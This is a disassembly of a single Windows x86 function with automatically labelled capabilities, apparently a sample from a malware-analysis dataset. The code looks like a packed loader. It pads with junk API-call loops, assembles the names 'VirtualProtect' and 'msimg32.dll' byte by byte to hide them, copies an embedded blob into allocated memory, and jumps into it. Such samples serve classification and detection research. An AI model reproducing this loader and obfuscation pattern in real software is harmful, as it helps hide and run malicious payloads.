Function at 0x4312a0
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440e48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x858
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0x14], edi
mov ebx, dword [sym.imp.GDI32.dll_GetBkMode]
xor esi, esi
mov edi, edi
cmp esi, 0xfa62c8f
jge 0x4312e5
push edi
call ebx
push edi
push edi
push edi
push edi
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x4312f6
inc esi
cmp esi, 0x67d12
jl 0x4312d0
mov eax, dword [0x47856c]
cmp eax, 0x93
jne 0x4313c1
mov esi, dword [sym.imp.GDI32.dll_CreateDCW]
push edi
push edi
push edi
push edi
call esi
push edi
lea eax, [ebp - 0x460]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push edi
push edi
push edi
push edi
call esi
xor ecx, ecx
lock bts dword [ecx], 0
push edi
push 0x430748
push 0x430780
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x4c]
push ecx
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push edi
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push 0x4307dc
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], edi
mov byte [ebp - 0x3c], 0
call fcn.004330b0
add esp, 4
push eax
push 0x4307dc
lea ecx, [ebp - 0x3c]
call fcn.00431ee0
push edi
mov dword [ebp - 4], edi
call fcn.00432a74
add esp, 4
push edi
call fcn.004334ad
add esp, 4
push edi
push edi
call fcn.004334dc
add esp, 8
push edi
call fcn.0043399b
mov ecx, dword [0x446ecc]
add eax, 0x1134b
push eax
push edi
mov dword [0x4793a8], ecx
mov dword [0x47856c], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x430738
mov dword [0x477ff8], eax
call ebx
push 0x449f78
mov dl, 0x72
push eax
mov dword [0x477ffc], eax
mov word [0x449f81], 0x746f
mov byte [0x449f80], dl
mov dword [0x449f83], 0x746365
mov dword [0x449f78], 0x74726956
mov dword [0x449f7c], 0x506c6175
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x477ff0], eax
mov dword [ebp - 0x10], 0x20
add dword [ebp - 0x10], 0x20
mov eax, dword [ebp - 0x10]
mov ecx, dword [0x47856c]
lea edx, [ebp - 0x14]
push edx
mov edx, dword [0x477ff8]
push eax
push ecx
push edx
call dword [0x477ff0]
mov edi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov esi, 0x1692e
push 0
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x431468
cmp dword [0x47856c], esi
jbe 0x4314e3
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov eax, dword [0x4793a8]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x477ff8]
mov byte [edx + esi], cl
cmp dword [0x47856c], 0x490
jne 0x4314da
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
call ebx
lea ecx, [ebp - 0x20]
push ecx
push 0
lea edx, [ebp - 0x50]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x47856c]
jb 0x431485
mov ebx, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
xor esi, esi
mov eax, dword [0x47856c]
add eax, esi
cmp eax, 0x8d
jne 0x43152a
push 0
lea ecx, [ebp - 0x460]
push ecx
push 0
push 0
push 0
push 0
call ebx
push 0x4307f4
push 0x43080c
call edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x4314f1
call fcn.00431170
xor edi, edi
xor esi, esi
lea esp, [esp]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43155e
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0x48ee
mov edx, dword [ebp - 0x10]
add dword [0x477ff8], edx
inc esi
cmp esi, 0x674bd
jl 0x431540
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x14], 0x7b
cmp dword [0x47856c], 0x86
jne 0x4315c8
push 0
call esi
push 0
lea eax, [ebp - 0x860]
push eax
push 0x430828
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x47856c], 0xf
jne 0x4315dd
push 0
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec dword [ebp - 0x14]
jne 0x431580
mov al, 0x6d
push 0x449f78
mov dword [0x449f80], 0x6c6c64
mov word [0x449f7e], 0x2e32
mov byte [0x449f78], al
mov byte [0x449f7d], 0x33
mov dword [0x449f79], 0x676d6973
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x477ff8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret